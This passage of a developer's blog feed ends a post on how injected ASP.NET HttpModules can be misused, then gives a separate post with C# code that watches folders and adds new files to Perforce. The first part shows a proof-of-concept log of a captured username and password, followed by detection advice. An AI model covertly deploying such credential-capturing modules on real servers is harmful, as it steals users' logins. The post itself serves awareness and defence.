&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvt11yfgxf43MwmQvws2Ij0BL4q7aDHixvlUnvac5c7KapJ3aKJ6WvAiHiMQ2qO7EEUdtSiMKa1tUGvQSIju-h9Rama7v2VfbD1C3OKc-nG8H0Gr92EX8V-x7CSoy3BbMG-LEbStohYg8/s1600/ModulePoC.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvt11yfgxf43MwmQvws2Ij0BL4q7aDHixvlUnvac5c7KapJ3aKJ6WvAiHiMQ2qO7EEUdtSiMKa1tUGvQSIju-h9Rama7v2VfbD1C3OKc-nG8H0Gr92EX8V-x7CSoy3BbMG-LEbStohYg8/s320/ModulePoC.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
In the file I see:&lt;br /&gt;
&lt;i&gt;21/02/2012 16:32:58 - Login: myUsername - Password: myPassword&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
This is just an example of what could be done. Think of having complete access to Cache, User Session, Request, Response and more. So much can be done.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Monitoring loaded modules:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
As I mentioned above, before the&amp;nbsp;introduction&amp;nbsp;of:&lt;br /&gt;
Microsoft.Web.Infrastructure.DynamicModuleHelper.PreApplicationStartMethodAttribute&lt;br /&gt;
Creating custom modules required registration on web.config. Simple monitoring the configuration files was enough. But now a different approach has to be used.
&lt;br /&gt;
Before injecting my module to the&amp;nbsp;&lt;i&gt;HttpModulePoC &lt;/i&gt;application, enumerating the loaded Modules with:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;HttpContext.Current.ApplicationInstance.Modules.AllKeys&lt;/pre&gt;
&lt;br /&gt;
I got the following15 items:
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;OutputCache&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;Session&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;WindowsAuthentication&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;FormsAuthentication&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;PassportAuthentication&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;RoleManager&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;UrlAuthorization&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;FileAuthorization&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;AnonymousIdentification&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;Profile&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;ErrorHandlerModule&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;ServiceModel&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;UrlRoutingModule-4.0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;ScriptModule-4.0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;DefaultAuthentication&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Mitigation could be done by writing a custom code to compare the allowed modules with the ones loaded. In case an unauthorized module is loaded, send an alert (or avoid completely the application from starting). Alerts could be simply written to event log or sent by e-mail.&lt;br /&gt;
&lt;br /&gt;
Obviously, the most important is to train the development team to write secure code, make sure the system is up-to-date with security updates from the vendor of the&amp;nbsp;operating system and&amp;nbsp;applications&amp;nbsp;installed. That will minimize the risk of attackers breaking into the application server.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/7857932417706652775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/02/httpmodules-now-even-easier-to-be.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7857932417706652775'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7857932417706652775'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/02/httpmodules-now-even-easier-to-be.html' title='HttpModules. Now even easier to be misused.'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvt11yfgxf43MwmQvws2Ij0BL4q7aDHixvlUnvac5c7KapJ3aKJ6WvAiHiMQ2qO7EEUdtSiMKa1tUGvQSIju-h9Rama7v2VfbD1C3OKc-nG8H0Gr92EX8V-x7CSoy3BbMG-LEbStohYg8/s72-c/ModulePoC.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-4734672097651955554</id><published>2012-02-10T14:43:00.001+01:00</published><updated>2012-12-12T17:07:30.675+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="FileSystemWatcher"/><category scheme="http://www.blogger.com/atom/ns#" term="Perforce"/><category scheme="http://www.blogger.com/atom/ns#" term="Visual Studio"/><title type='text'>New files on Visual Studio project added to Perforce</title><content type='html'>I worked with a few different source control systems. The first was Visual Source Safe, then CVS, Subversion (SVN) and for two years I was working with Team Foundation Server, and its Source Control. Great integration TFS has, just like any other Microsoft product working with each other.&lt;br /&gt;
&lt;br /&gt;
Now I started working on a project with a different source control: &lt;b&gt;Perforce&lt;/b&gt;&lt;br /&gt;
Wouldn&#39;t dare to talk badly about it, scalability is quite impressive and it has good features too.&lt;br /&gt;
There is also plugin to integrate your project to Visual Studio, which for example, adds to your pending list on Perforce, files you add to your Visual Studio project.&lt;br /&gt;
&lt;br /&gt;
But what if your project is not integrated (or you don&#39;t have the plugin)?&lt;br /&gt;
&lt;br /&gt;
Well, it was my case, and it means that every time&amp;nbsp;you add files to your project on Visual Studio, using the Wizard for example, you have to open p4 client, browse to the file and click: &lt;i&gt;Mark for Add&lt;/i&gt;. Only then, the files are shown in your changelist.&lt;br /&gt;
&lt;br /&gt;
Not a problem. Every time I add something to the project, I have to &lt;b&gt;remember&lt;/b&gt;&amp;nbsp;to go to p4 and &lt;i&gt;Mark for Add&lt;/i&gt;.&lt;br /&gt;
Obviously it didn&#39;t take long, I &lt;b&gt;forgot &lt;/b&gt;to &lt;i&gt;Mark for Add&lt;/i&gt; one file, submitted my changes and CruiseControl tray application went red. I broke the build!&lt;br /&gt;
&lt;br /&gt;
Foreseen that would not be the only occasion, I decided to spend an hour or so doing some quick and dirty solution to serve as a patch for this lack of memory I might&amp;nbsp;eventually&amp;nbsp;have.&lt;br /&gt;
&lt;br /&gt;
So the first thing that popped in my head was parsing the csproj file (would have to parse .sln too, in case I add a new project). That probably would take sometime to make work well.&lt;br /&gt;
And to know when it is changed, I would have to monitor it anyway. So I decided that monitoring the &amp;nbsp;project folder with&amp;nbsp;&lt;b&gt;FileSystemWatcher &lt;/b&gt;was the best effort/benefit ratio.&lt;br /&gt;
&lt;br /&gt;
Considering my layout skills are great, I decided not to try to make a UI! :)&lt;br /&gt;
Well, there&#39;s a Context Menu, since defining the paths to monitors and Regular Expressions to ignore are required to make it work.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGdASFlJsgM2aLZ3Ouj80XWrgy9uYHmpUhUb1Uxbclg1JOrv5iO28zw4AfvTU-eEhk1rMreKL6zNhqkdoqCzBGBtUGwbPC11oh4g6B7ZjrsyxuIwoYqalYMIC1rMDaYfow6HcIPQzt2rs/s1600/Exceptions.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;72&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGdASFlJsgM2aLZ3Ouj80XWrgy9uYHmpUhUb1Uxbclg1JOrv5iO28zw4AfvTU-eEhk1rMreKL6zNhqkdoqCzBGBtUGwbPC11oh4g6B7ZjrsyxuIwoYqalYMIC1rMDaYfow6HcIPQzt2rs/s400/Exceptions.png&quot; width=&quot;440&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Path that match one if this Regex are ignored&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
But let&#39;s ignore that part and see it working:&lt;br /&gt;
I select Add file within Visual Studio, the file is written to the disk and immediately I get the popup, on top of Visual Studio:&lt;br /&gt;
&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2YwnoHOl4WB81p0Fb8-gMq4lrxsM6flKOWB7kYIeEm77BbsbeggY_0_qaxRC2QnypbN55a3HRJ-yo5sjT6SMLiwjvDXz0Uyaq7yQiOM1nX1OMZ6deVmmHEVPbpw_Zo_WIOjwZ6pCXAdI/s1600/Notification.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2YwnoHOl4WB81p0Fb8-gMq4lrxsM6flKOWB7kYIeEm77BbsbeggY_0_qaxRC2QnypbN55a3HRJ-yo5sjT6SMLiwjvDXz0Uyaq7yQiOM1nX1OMZ6deVmmHEVPbpw_Zo_WIOjwZ6pCXAdI/s400/Notification.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Notification that file was added. Hit enter to add it to your Change list within Perforce&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Despite the UI related code, which stayed in the Form1 code-behind, there&#39;s only 1 class, as I mentioned before Quick-and-dirty, that does the business. For each path you specify to be monitored, a new instance is created:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;namespace AddToPerforce
{
    internal class Watcher : IDisposable
    {
        private IEnumerable&amp;lt;string&amp;gt; _exceptions { get; set; }
        private FileSystemWatcher _fileWatchers = null;

        public string PathToMonitor { get; private set; }

        public Watcher(IEnumerable&amp;lt;string&amp;gt; exceptions, string pathToMonitor)
        {
            _exceptions = exceptions;
            PathToMonitor = pathToMonitor;
        }

        public void Start()
        {
            _fileWatchers = new FileSystemWatcher(PathToMonitor);
            _fileWatchers.Created += CreatedHandler;
            _fileWatchers.Error += (s, e) =&amp;gt; MessageBox.Show(string.Format(&quot;Error has occured: {0}&quot;, e.GetException().Message));
            _fileWatchers.EnableRaisingEvents = _fileWatchers.IncludeSubdirectories = true;
        }

        public bool PauseContinue()
        {
            return _fileWatchers.EnableRaisingEvents = !_fileWatchers.EnableRaisingEvents;
        }

        void CreatedHandler(object sender, FileSystemEventArgs e)
        {
            if (_exceptions.Any(p =&amp;gt; Regex.IsMatch(e.FullPath, p))) return;

            var msg = string.Format(@&quot;File created: 

{0}

Do you want to add it to your perforce Changelist?&quot;, e.FullPath);

            if (DialogResult.Yes == MessageBox.Show(msg, &quot;File added!&quot;,
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning,
                MessageBoxDefaultButton.Button1,
                MessageBoxOptions.DefaultDesktopOnly))
                Process.Start(&quot;p4&quot;, string.Format(&quot;add -f -c default \&quot;{0}\&quot;&quot;, e.FullPath));
        }

        public void Dispose()
        {
            if (_fileWatchers != null)
                _fileWatchers.Dispose();
        }
    }
}
&lt;/pre&gt;
&lt;br /&gt;
So now every time I add a file to the project (or write any file on the path I setup to be monitored), I get that Notification where I can choose to add it to Perforce changelist.&lt;br /&gt;
&lt;br /&gt;
You can download the sources &lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=7930636163197548393#&quot; onclick=&quot;TrackItem(&#39;AddToPerforce&#39;,&#39;http://www.brunogarcia.com/files/AddToPerforce.rar&#39;);return false;&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/4734672097651955554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/02/new-files-on-visual-studio-added-to.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/4734672097651955554'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/4734672097651955554'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/02/new-files-on-visual-studio-added-to.html' title='New files on Visual Studio project added to Perforce'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGdASFlJsgM2aLZ3Ouj80XWrgy9uYHmpUhUb1Uxbclg1JOrv5iO28zw4AfvTU-eEhk1rMreKL6zNhqkdoqCzBGBtUGwbPC11oh4g6B7ZjrsyxuIwoYqalYMIC1rMDaYfow6HcIPQzt2rs/s72-c/Exceptions.png" height="72" width="72"/><thr:total>1</thr:total></entry></feed>